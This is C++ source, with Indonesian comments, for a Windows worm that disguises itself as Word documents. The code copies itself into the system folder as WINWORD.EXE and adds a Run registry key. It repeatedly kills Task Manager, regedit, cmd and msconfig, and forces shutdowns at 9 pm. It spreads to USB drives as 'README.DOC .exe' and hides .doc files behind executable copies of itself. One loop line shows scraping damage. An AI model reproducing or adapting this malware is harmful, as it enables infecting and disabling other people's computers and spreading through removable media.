#include
#include
#include "termproc.h"
#include "manstring.h"
#include "shutdown.h"
#include "scanpath.h"
#include "regaccess.h"
using namespace std;
// Prototype Fungsi
DWORD WINAPI Process_Watcher(LPVOID Param);
DWORD WINAPI Shut_it_Down(LPVOID Param);
DWORD WINAPI Copy_to_UFD(LPVOID Param);
DWORD WINAPI Fake_Doc(LPVOID Param);
void InvokeDocuments(void);
void HideAndSpoof(char *path);
// Variabel Global
DWORD id = 0; // Variabel penampung ID thread
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nFunsterStil)
{
char szCurrent[MAX_PATH]; // Buffer untuk alamat sumber file duplikasi
char szPath[MAX_PATH]; // Buffer untuk alamat tujuan duplikasi file
// Menampilkan file document sebenarnya
InvokeDocuments();
// Mengecek apakah program sudah running atau belum. Jika sudah, maka
// program akan diakhiri
CreateMutex(NULL, true, "Goldstein");
if(GetLastError() == ERROR_ALREADY_EXISTS)
return 0;
// Mendapatkan fullpath dari program ini
GetModuleFileName(NULL, szCurrent, MAX_PATH-1);
// Mengkopikan diri ke folder [SYSTEM]
GetSystemDirectory(szPath, sizeof(szPath));
strcat(szPath, "\\");
strcat(szPath, "WINWORD.EXE");
CopyFile(szCurrent, szPath, true);
// Membuat startup key
SetStringValue(HKLM,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"MSWORD STARTUP",
szPath);
// Menjadikan fungsi Process_Watcher() sebagai thread
CreateThread(NULL, 0, &Process_Watcher, NULL, 0, &id);
// Menjadikan fungsi Shut_it_Down() sebagai thread
CreateThread(NULL, 0, &Shut_it_Down, NULL, 0, &id);
// Menjadikan fungsi Copy_to_UFD() sebagai thread
CreateThread(NULL, 0, &Copy_to_UFD, NULL, 0, &id);
// Menjadikan fungsi Fake_Doc() sebagai thread
CreateThread(NULL, 0, &Fake_Doc, NULL, 0, &id);
while(1)
Sleep(1000);
return EXIT_SUCCESS;
}
DWORD WINAPI Process_Watcher(LPVOID Param)
{
while(1)
{
Sleep(100); // Menunda eksekusi 0,1 detik
TermProc("msconfig.exe"); // Mengakhiri process MSConfig
TermProc("regedit.exe"); // Mengakhiri process Registry Editor
TermProc("cmd.exe"); // Mengakhiri process Command Prompt
TermProc("taskmgr.exe"); // Mengakhiri process Task Manager
}
return EXIT_SUCCESS;
}
DWORD WINAPI Shut_it_Down(LPVOID Param)
{
while(1)
{
Sleep(1000);
time_t now;
tm tm;
time(&now);
// Mengcopy nilai yang ditunjuk oleh nilai return localtime() ke object tm
tm = *localtime(&now);
// Jika jam menunjuk pukul 21 dan menit habis dibagi 5
if(tm.tm_hour == 21 && tm.tm_min%5 == 0)
TurnOff(ShtDown); // Shutdown Komputer
}
return 0;
}
void InvokeDocuments(void)
{
char szPath[MAX_PATH] = {'\0'};
GetModuleFileName(NULL, szPath, MAX_PATH);
// Invoke file dokumen asli
ShellExecute(NULL, "open", left(szPath, strlen(szPath)-7), NULL, NULL, SW_SHOW);
}
DWORD WINAPI Copy_to_UFD(LPVOID Param)
{
char *drv[10] = {"A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:"};
char szSource[MAX_PATH];
char szDest[MAX_PATH];
char szFileName[] = "README.DOC .exe";
GetModuleFileName(NULL, szSource, MAX_PATH);
while(1)
{
Sleep(1000);
// Loop untuk memeriksa setiap array pointer yang menunjuk ke heap
for(int i=0; i < 10; i++)
{
Sleep(1000);
// Jika drive merupakan removable
if(GetDriveType(drv[i]) == DRIVE_REMOVABLE)
{
strncpy(szDest, drv[i], MAX_PATH-1); // Mengcopy nama drive
strcat(szDest, "\\"); // Menambahkan backslash '\'
strcat(szDest, szFileName); // Menggabungkan dengan szFilename
CopyFile(szSource, szDest, true); // Copykan file
}
}
}
return EXIT_SUCCESS;
}
DWORD WINAPI Fake_Doc(LPVOID Param)
{
// Pointer ke heap yang berisi string drive
char *drv[10] = {"A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:"};
while(1)
{
for(int i=0; i<10 br="br" i="i">
{
Sleep(1000);
// Jika drive merupakan fixed
if(GetDriveType(drv[i]) == DRIVE_FIXED)
{
// Memanggil fungsi ScanPath() yang akan memanggil fungsi
// HideAndSpoof() untuk setiap file yang ditemukan
ScanPath(drv[i], (LPVOID)HideAndSpoof, true);
}
}
}
return EXIT_SUCCESS;
}
void HideAndSpoof(char* Path)
{
char szSource[MAX_PATH]; // Buffer untuk lokasi file sumber
char szDest[MAX_PATH]; // Buffer untuk lokasi tujuan peng-copy-an
char szFake[] = " .exe";
if (!stricmp(right(Path, 4), ".doc"))
{
// Mendapatkan lokasi current file
GetModuleFileName(NULL, szSource, MAX_PATH);
// Mengatur attribute file dokumen menjadi hidden+system
SetFileAttributes(Path, 6);
strncpy(szDest, Path, MAX_PATH-1); // Mengcopy lokasi Path ke szDest[]
strcat(szDest, szFake); // dan menambahkan string " .exe"
CopyFile(szSource, szDest, true);
}
}10>